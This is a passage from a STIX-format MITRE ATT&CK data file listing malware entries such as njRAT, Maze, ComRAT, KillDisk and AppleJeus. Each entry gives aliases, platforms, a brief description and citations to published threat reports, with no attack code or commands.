2013)(Citation: Trend Micro njRAT 2018)"},{"source_name":"FireEye Njw0rm Aug 2013","url":"https://www.fireeye.com/blog/threat-research/2013/08/njw0rm-brother-from-the-same-mother.html","description":"Dawda, U. and Villeneuve, N. (2013, August 30). Njw0rm - Brother From the Same Mother. Retrieved June 4, 2019."},{"source_name":"Fidelis njRAT June 2013","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."},{"source_name":"Trend Micro njRAT 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/","description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019."},{"source_name":"Njw0rm","description":"Some sources have discussed Njw0rm as a later variant of [njRAT](https://attack.mitre.org/software/S0385), where Njw0rm adds the ability to spread via removable devices such as USB drives.(Citation: FireEye Njw0rm Aug 2013) Other sources contain that functionality in their description of [njRAT](https://attack.mitre.org/software/S0385) itself.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)"}],"x_mitre_deprecated":false,"revoked":false,"description":"[njRAT](https://attack.mitre.org/software/S0385) is a remote access tool (RAT) that was first observed in 2012. It has been used by threat actors in the Middle East.(Citation: Fidelis njRAT June 2013)","modified":"2022-04-06T19:50:59.368Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"njRAT","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)","SarathKumar Rajendran, Trimble Inc"],"x_mitre_aliases":["Maze"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","type":"malware","created":"2020-05-18T16:17:59.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0449","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0449"},{"source_name":"FireEye Maze May 2020","url":"https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html","description":"Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020."},{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."},{"source_name":"Sophos Maze VM September 2020","url":"https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/","description":"Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}],"modified":"2022-01-24T17:01:08.605Z","name":"Maze","description":"[Maze](https://attack.mitre.org/software/S0449) ransomware, previously known as \"ChaCha\", was discovered in May 2019. In addition to encrypting files on victim machines for impact, [Maze](https://attack.mitre.org/software/S0449) operators conduct information stealing campaigns prior to encryption and post the information online to extort affected companies.(Citation: FireEye Maze May 2020)(Citation: McAfee Maze March 2020)(Citation: Sophos Maze VM September 2020)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Christopher Glyer, Mandiant, @cglyer"],"x_mitre_aliases":["BOOTRASH"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3","type":"malware","created":"2017-05-31T21:33:08.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0114","external_id":"S0114"},{"source_name":"Mandiant M Trends 2016","url":"https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf","description":"Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019."},{"url":"https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html","description":"Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.","source_name":"FireEye Bootkits"},{"source_name":"FireEye BOOTRASH SANS","url":"https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1498163766.pdf","description":"Glyer, C.. (2017, June 22). Boot What?. Retrieved May 4, 2020."}],"modified":"2021-06-09T18:58:41.760Z","name":"BOOTRASH","description":"[BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that targets Windows operating systems. It has been used by threat actors that target the financial sector.(Citation: Mandiant M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BOOTRASH SANS)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthieu Faou, ESET"],"x_mitre_aliases":["ComRAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","type":"malware","created":"2017-05-31T21:33:13.252Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0126","external_id":"S0126"},{"source_name":"Symantec Waterbug","description":"Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.","url":"https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1"},{"source_name":"NorthSec 2015 GData Uroburos Tools","description":"Rascagneres, P. (2015, May). Tools used by the Uroburos actors. Retrieved August 18, 2016.","url":"https://docplayer.net/101655589-Tools-used-by-the-uroburos-actors.html"},{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-12-23T19:34:12.017Z","name":"ComRAT","description":"[ComRAT](https://attack.mitre.org/software/S0126) is a second stage implant suspected of being a descendant of [Agent.btz](https://attack.mitre.org/software/S0092) and used by [Turla](https://attack.mitre.org/groups/G0010). The first version of [ComRAT](https://attack.mitre.org/software/S0126) was identified in 2007, but the tool has undergone substantial development for many years since.(Citation: Symantec Waterbug)(Citation: NorthSec 2015 GData Uroburos Tools)(Citation: ESET ComRAT May 2020)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Christiaan Beek, @ChristiaanBeek","Ryan Becwar"],"x_mitre_aliases":["TURNEDUP"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0199","external_id":"S0199"},{"source_name":"TURNEDUP","description":"(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)"},{"source_name":"FireEye APT33 Sept 2017","description":"O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html"},{"source_name":"FireEye APT33 Webinar Sept 2017","description":"Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.","url":"https://www.brighttalk.com/webcast/10703/275683"}],"modified":"2021-02-09T15:25:33.116Z","name":"TURNEDUP","description":"[TURNEDUP](https://attack.mitre.org/software/S0199) is a non-public backdoor. It has been dropped by [APT33](https://attack.mitre.org/groups/G0064)'s [StoneDrill](https://attack.mitre.org/software/S0380) malware. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["ChChes","Scorpion","HAYMAKER"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e","type":"malware","created":"2017-05-31T21:33:22.451Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0144","external_id":"S0144"},{"source_name":"ChChes","description":"(Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)"},{"source_name":"Scorpion","description":"(Citation: PWC Cloud Hopper Technical Annex April 2017)"},{"source_name":"HAYMAKER","description":"Based on similarities in reported malware behavior and open source reporting, it is assessed that the malware named HAYMAKER by FireEye is likely the same as the malware ChChes. (Citation: FireEye APT10 April 2017) (Citation: Twitter Nick Carr APT10)"},{"url":"http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.","source_name":"Palo Alto menuPass Feb 2017"},{"url":"http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html","description":"Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.","source_name":"JPCERT ChChes Feb 2017"},{"url":"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","source_name":"PWC Cloud Hopper Technical Annex April 2017"},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","source_name":"FireEye APT10 April 2017"},{"url":"https://twitter.com/ItsReallyNick/status/850105140589633536","description":"Carr, N.. (2017, April 6). Retrieved June 29, 2017.","source_name":"Twitter Nick Carr APT10"}],"modified":"2020-03-30T18:49:40.093Z","name":"ChChes","description":"[ChChes](https://attack.mitre.org/software/S0144) is a Trojan that appears to be used exclusively by [menuPass](https://attack.mitre.org/groups/G0045). It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["PowerStallion"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd","type":"malware","created":"2019-06-21T17:23:27.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0393","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0393"},{"source_name":"ESET Turla PowerShell May 2019","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."}],"modified":"2021-02-09T14:05:19.246Z","name":"PowerStallion","description":"[PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1059/001) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Becwar"],"x_mitre_aliases":["JPIN"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0201","external_id":"S0201"},{"source_name":"JPIN","description":"(Citation: Microsoft PLATINUM April 2016)"},{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-08-11T19:44:31.363Z","name":"JPIN","description":"[JPIN](https://attack.mitre.org/software/S0201) is a custom-built backdoor family used by [PLATINUM](https://attack.mitre.org/groups/G0068). Evidence suggests developers of [JPIN](https://attack.mitre.org/software/S0201) and [Dipsind](https://attack.mitre.org/software/S0200) code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SideTwist"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--df4cd566-ff2f-4d08-976d-8c86e95782de","type":"malware","created":"2021-05-06T14:44:50.494Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0610","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0610"},{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-10-13T13:53:26.301Z","name":"SideTwist","description":"[SideTwist](https://attack.mitre.org/software/S0610) is a C-based backdoor that has been used by [OilRig](https://attack.mitre.org/groups/G0049) since at least 2021.(Citation: Check Point APT34 April 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["KOCTOPUS"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","created":"2021-12-06T22:38:37.418Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0669","url":"https://attack.mitre.org/software/S0669"},{"source_name":"KOCTOPUS","description":"(Citation: MalwareBytes LazyScripter Feb 2021)"},{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KOCTOPUS](https://attack.mitre.org/software/S0669)'s batch variant is loader used by [LazyScripter](https://attack.mitre.org/groups/G0140) since 2018 to launch [Octopus](https://attack.mitre.org/software/S0340) and [Koadic](https://attack.mitre.org/software/S0250) and, in some cases, [QuasarRAT](https://attack.mitre.org/software/S0262). [KOCTOPUS](https://attack.mitre.org/software/S0669) also has a VBA variant that has the same functionality as the batch version.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T20:00:06.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"KOCTOPUS","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["MechaFlounder"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2","type":"malware","created":"2020-05-27T19:05:29.386Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0459","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0459"},{"source_name":"Unit 42 MechaFlounder March 2019","url":"https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/","description":"Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020."}],"modified":"2020-05-28T16:19:14.488Z","name":"MechaFlounder","description":"[MechaFlounder](https://attack.mitre.org/software/S0459) is a python-based remote access tool (RAT) that has been used by [APT39](https://attack.mitre.org/groups/G0087). The payload uses a combination of actor developed code and code snippets freely available online in development communities.(Citation: Unit 42 MechaFlounder March 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Psylo"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--dfb5fa9b-3051-4b97-8035-08f80aef945b","type":"malware","created":"2017-05-31T21:32:53.268Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0078","external_id":"S0078"},{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-30T17:23:59.127Z","name":"Psylo","description":"[Psylo](https://attack.mitre.org/software/S0078) is a shellcode-based Trojan that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). It has similar characteristics as [FakeM](https://attack.mitre.org/software/S0076). (Citation: Scarlet Mimic Jan 2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["HTTPBrowser","Token Control","HttpDump"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360","type":"malware","created":"2017-05-31T21:32:46.445Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0070","external_id":"S0070"},{"source_name":"HttpDump","description":"(Citation: ThreatConnect Anthem)"},{"url":"https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop","description":"Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.","source_name":"ThreatStream Evasion Analysis"},{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"url":"https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/","description":"ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.","source_name":"ThreatConnect Anthem"}],"modified":"2020-03-20T02:22:13.185Z","name":"HTTPBrowser","description":"[HTTPBrowser](https://attack.mitre.org/software/S0070) is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. 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[XCSSET](https://attack.mitre.org/software/S0658) was first observed in August 2020 and has been used to install a backdoor component, modify browser applications, conduct collection, and provide ransomware-like encryption capabilities.(Citation: trendmicro xcsset xcode project 2020)","modified":"2022-04-20T21:03:39.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"XCSSET","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Becwar"],"x_mitre_aliases":["Dipsind"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e170995d-4f61-4f17-b60e-04f9a06ee517","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0200","external_id":"S0200"},{"source_name":"Dipsind","description":"(Citation: Microsoft PLATINUM April 2016)"},{"url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf","description":"Windows Defender Advanced Threat Hunting Team. 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(2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."},{"source_name":"Securelist Octopus Oct 2018","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."},{"source_name":"Security Affairs DustSquad Oct 2018","url":"https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html","description":"Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. 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(2016, December 29). KillDisk Disk-Wiping Malware Adds Ransomware Component. Retrieved January 12, 2021."},{"source_name":"ESEST Black Energy Jan 2016","url":"http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/","description":"Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry. Retrieved May 18, 2016."},{"source_name":"Trend Micro KillDisk 1","url":"https://www.trendmicro.com/en_us/research/18/f/new-killdisk-variant-hits-latin-american-financial-organizations-again.html","description":"Fernando Merces, Byron Gelera, Martin Co. (2018, June 7). KillDisk Variant Hits Latin American Finance Industry. Retrieved January 12, 2021."},{"source_name":"Trend Micro KillDisk 2","url":"https://www.trendmicro.com/en_us/research/18/a/new-killdisk-variant-hits-financial-organizations-in-latin-america.html","description":"Gilbert Sison, Rheniel Ramos, Jay Yaneza, Alfredo Oliveira. (2018, January 15). KillDisk Variant Hits Latin American Financial Groups. Retrieved January 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KillDisk](https://attack.mitre.org/software/S0607) is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of [BlackEnergy](https://attack.mitre.org/software/S0089) malware during cyber attacks against Ukraine in 2015. [KillDisk](https://attack.mitre.org/software/S0607) has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://attack.mitre.org/software/S0607) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)","modified":"2022-04-19T01:59:06.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"KillDisk","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["AppleJeus"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","type":"malware","created":"2021-03-01T20:17:11.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0584","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0584"},{"source_name":"AppleJeus","description":"(Citation: CISA AppleJeus Feb 2021)"},{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-04-27T20:49:10.831Z","name":"AppleJeus","description":"[AppleJeus](https://attack.mitre.org/software/S0584) is a family of downloaders initially discovered in 2018 embedded within trojanized cryptocurrency applications. [AppleJeus](https://attack.mitre.org/software/S0584) has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032), targeting companies in the energy, finance, government, industry, technology, and telecommunications sectors, and several countries including the United States, United Kingdom, South Korea, Australia, Brazil, New Zealand, and Russia. [AppleJeus](https://attack.mitre.org/software/S0584) has been used to distribute the [FALLCHILL](https://attack.mitre.org/software/S0181) RAT.(Citation: CISA AppleJeus Feb 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SoreFang"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e33e4603-afab-402d-b2a1-248d435b5fe0","type":"malware","created":"2020-09-29T19:33:35.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0516","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0516"},{"source_name":"NCSC APT29 July 2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."},{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. 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(2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.","url":"https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/"}],"modified":"2020-03-30T17:05:26.798Z","name":"MirageFox","description":"[MirageFox](https://attack.mitre.org/software/S0280) is a remote access tool used against Windows systems. It appears to be an upgraded version of a tool known as Mirage, which is a RAT believed to originate in 2012. (Citation: APT15 Intezer June 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Industroyer","CRASHOVERRIDE","Win32/Industroyer"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","created":"2021-01-04T20:42:21.997Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0604","url":"https://attack.mitre.org/software/S0604"},{"source_name":"CRASHOVERRIDE","description":"(Citation: 